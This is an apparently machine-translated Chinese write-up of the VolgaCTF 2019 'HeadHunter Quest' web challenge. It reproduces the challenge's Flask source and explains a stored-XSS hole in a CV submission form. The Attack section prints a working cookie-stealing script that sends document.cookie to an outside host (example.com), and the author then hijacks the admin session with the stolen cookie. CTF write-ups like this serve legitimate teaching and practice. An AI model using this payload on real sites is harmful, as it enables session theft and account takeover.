伏尔加河CTF 2019资格赛:HeadHunter Quest

你好!3月29日至31日举行VolgaCTF预选赛

组织者准备了许多不同类别的任务(顺便说一下,包括新的任务-伪造,用于发现虚假信息的任务)。

与其他所有人一样,HeadHunter工作的目标是获得一个秘密密钥。入门时,我们将获得WEB.py文件和该站点的链接。



漏洞搜索


立即点击链接,我们将看到欢迎消息。我们正在注册。在“职业”选项卡中,我们观察到几种形式的字段: 输入任何信息并尝试发送。表单已成功提交,在“我的请求列表”选项卡上,我们看到我们的申请处于待处理状态。几十秒钟后,其状态将变为“已查看”: 查看附件。









WEB.py
def create_app(test_config=None):
    app = Flask(__name__)
    app.config.from_mapping(test_config)

    # a simple page that says hello
    @app.route('/home', methods=['GET'])
    def home():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return render_template('home_admin.html', flag=FLAG)
                else:
                    return render_template('home.html', cvs_list=db_get_user_cv(session['username']))
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return redirect(url_for('main'))


    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route("/cv_list", methods=['GET', 'DELETE'])
    def cv_list():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    # TODO
                    return render_template('all_cvs.html', cvs_list=db_get_new_cv())
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/login', methods=['GET', 'POST'])
    def login():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('login.html')
        else:
            u_login = request.form.get('login')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_update_user_token(u_login, u_password, session['token'])
                    return redirect(url_for('home'))

        session['last_error'] = "Username or password wrong :("
        session['last_url'] = "/login"
        return redirect(url_for('error'))

    @app.route('/', methods=['GET'])
    def main():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                return render_template('main_auth.html')
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return render_template('main.html')

    @app.route('/registration', methods=['GET', 'POST'])
    def registration():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('registration.html')
        else:
            u_login = request.form.get('username')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['last_error'] = "User already exist :("
                    session['last_url'] = "/registration"
                    return redirect(url_for('error'))
                else:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_add_user(u_login, u_password, session['token'])
                    return redirect(url_for('home'))
            return redirect(url_for('error'))

    @app.route('/logout', methods=['GET'])
    def logout():
        session.pop('username', None)
        session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/error', methods=['GET'])
    def error():
        if 'last_error' in session and 'last_url' in session:
            if 'token' in session:
                session['username'] = check_token(session['token'])
                if 'username' in session:
                    return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url'])
                else:
                    session.pop('username', None)
                    session.pop('token', None)
            else:
                return render_template('error.html', error=session['last_error'], back_url=session['last_url'])
        else:
            return render_template('error.html')

    @app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.errorhandler(404)
    def page_not_found(e):
        return render_template('error.html', error="404: Page not found!", back_url="/"), 404

    return app

立即尝试查找处理提交的表单的代码:
@app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

调用request.form.to_dict()可以对表单进行序列化,并在“验证”之后对db_add_cv(cv)进行少量修改即可保存该表单附带的所有数据。
此外,当虚拟主持人打开应用程序时,还获得了坏人可以上传到数据库的所有信息:

    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

db_get_cv(cvid)从数据库接收数据,并在进行较小的结构修改后将所有数据提供给模板。

攻击


事实的综合表明可能存在XSS漏洞。
我们正在尝试执行典型的攻击,并使用Image src窃取Cookie以绕过域限制:

<script language="javascript">
    var img = new Image();
    img.src = 'example.com?' + document.cookie;
    document.body.appendChild(img);
</script>

我们假设没有任何保护,并且消息文本被嵌入到DOM中而没有进行任何检查。在这种情况下,脚本标签内的代码将开始执行。它将创建一个元素(图片)并为其分配源,然后将其添加到DOM中。反过来,这将迫使浏览器通过向我们的服务器发出请求来尝试下载它。

现在,只需在请求的表单中添加一个包含我们脚本的附加字段,然后发送并等待即可。状态更改为“已查看”,并且查询参数中包含cookie的请求到达服务器。

剩下的最后一步-我们获取cookie,在网站上进行设置,刷新页面并获取密钥: 解决了任务。



Source: https://habr.com/ru/post/undefined/


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